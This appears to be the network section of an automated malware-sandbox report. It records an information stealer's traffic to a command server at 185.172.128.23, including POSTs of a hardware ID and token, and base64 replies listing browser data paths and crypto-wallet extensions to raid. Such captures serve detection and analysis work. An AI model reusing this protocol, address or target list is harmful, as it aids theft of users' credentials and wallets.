Apr 17, 2024 06:57:34.622710943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:34.623228073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:34.630707026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:34.630707026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:34.834669113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:34.834708929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:35.163817883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:35.164133072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:35.170528889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:35.170614958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:35.375617981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:35.375703096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:35.623657942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:35.623764992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:35.633323908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:35.633383989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:35.836486101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:35.836503983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:36.183152914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:36.183357000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:36.191834927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:36.191886902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:36.395509958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:36.395539999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:36.642601967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:36.642874002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:36.649648905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:36.649648905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:36.852832079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:36.852864027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.151833057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.152214050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.169301987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.372734070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.495398045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.495506048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.579413891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.579610109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.579665899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.579679966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.782825947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.782885075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.782922029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.782958984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.782994986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783029079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783063889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783094883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783132076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783200979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783207893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.783233881 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783297062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:37.783373117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783464909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783624887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783659935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783690929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783726931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783759117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783788919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783869028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783900976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.783982992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784014940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784045935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784162045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784194946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784231901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784262896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784296989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784328938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784358978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784477949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784554958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.784589052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.986656904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.986701965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.986721039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.986742973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.986828089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.986926079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987090111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987370968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987509012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987571955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987653017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987673044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987729073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987782001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987850904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987874985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.987898111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.988004923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:37.988028049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:38.414547920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:38.414925098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:38.482331991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:38.685766935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:38.892934084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:38.893148899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:52.798432112 CEST	49730	80	192.168.2.4	185.172.128.23

HTTP Request Dependency Graph

185.172.128.23

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.172.128.23	80	5900	C:\Users\user\Desktop\UvswnLTk5d.exe

Timestamp	Bytes transferred	Direction	Data
Apr 17, 2024 06:57:01.805849075 CEST	416	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAK Host: 185.172.128.23 Content-Length: 215 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 44 34 46 43 39 44 35 43 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="hwid"DAD4FC9D5C6E2371543510------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="build"default9------GDAAKKEHDHCAAAKFCBAK--
Apr 17, 2024 06:57:02.278599977 CEST	343	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 148 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4e 6a 4d 35 4e 7a 55 33 4d 6a 46 6a 5a 44 51 34 4e 6a 55 30 4d 44 41 7a 59 54 59 34 5a 54 56 6c 4d 6d 55 34 4f 54 6b 33 4e 44 6b 78 4f 57 49 33 59 7a 49 33 4d 7a 45 32 4e 57 56 6b 4e 47 55 7a 4d 47 49 32 59 6d 49 78 4d 54 41 79 4e 54 49 77 4d 7a 59 35 4e 47 51 34 4e 7a 4d 30 4e 7a 59 78 66 44 55 78 4f 44 51 78 4f 54 46 38 4d 54 45 34 4d 54 67 78 4e 54 55 75 5a 6d 6c 73 5a 58 77 78 66 44 42 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 Data Ascii: NjM5NzU3MjFjZDQ4NjU0MDAzYTY4ZTVlMmU4OTk3NDkxOWI3YzI3MzE2NWVkNGUzMGI2YmIxMTAyNTIwMzY5NGQ4NzM0NzYxfDUxODQxOTF8MTE4MTgxNTUuZmlsZXwxfDB8MXwxfDF8MXwxfDF8
Apr 17, 2024 06:57:02.280061960 CEST	469	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCF Host: 185.172.128.23 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 32 31 63 64 34 38 36 35 34 30 30 33 61 36 38 65 35 65 32 65 38 39 39 37 34 39 31 39 62 37 63 32 37 33 31 36 35 65 64 34 65 33 30 62 36 62 62 31 31 30 32 35 32 30 33 36 39 34 64 38 37 33 34 37 36 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="message"browsers------IJJJKEGHJKFHJKFHDHCF--
Apr 17, 2024 06:57:02.602292061 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb
Apr 17, 2024 06:57:02.602406025 CEST	427	IN	Data Raw: 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 Data Ascii: 21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQ
Apr 17, 2024 06:57:02.652579069 CEST	468	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: 185.172.128.23 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 39 37 35 37 32 31 63 64 34 38 36 35 34 30 30 33 61 36 38 65 35 65 32 65 38 39 39 37 34 39 31 39 62 37 63 32 37 33 31 36 35 65 64 34 65 33 30 62 36 62 62 31 31 30 32 35 32 30 33 36 39 34 64 38 37 33 34 37 36 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"63975721cd48654003a68e5e2e89974919b7c273165ed4e30b6bb11025203694d8734761------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="message"plugins------DBFBFBGDBKJJKFIEHJDB--
Apr 17, 2024 06:57:02.975682020 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 04:57:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 Data Ascii: 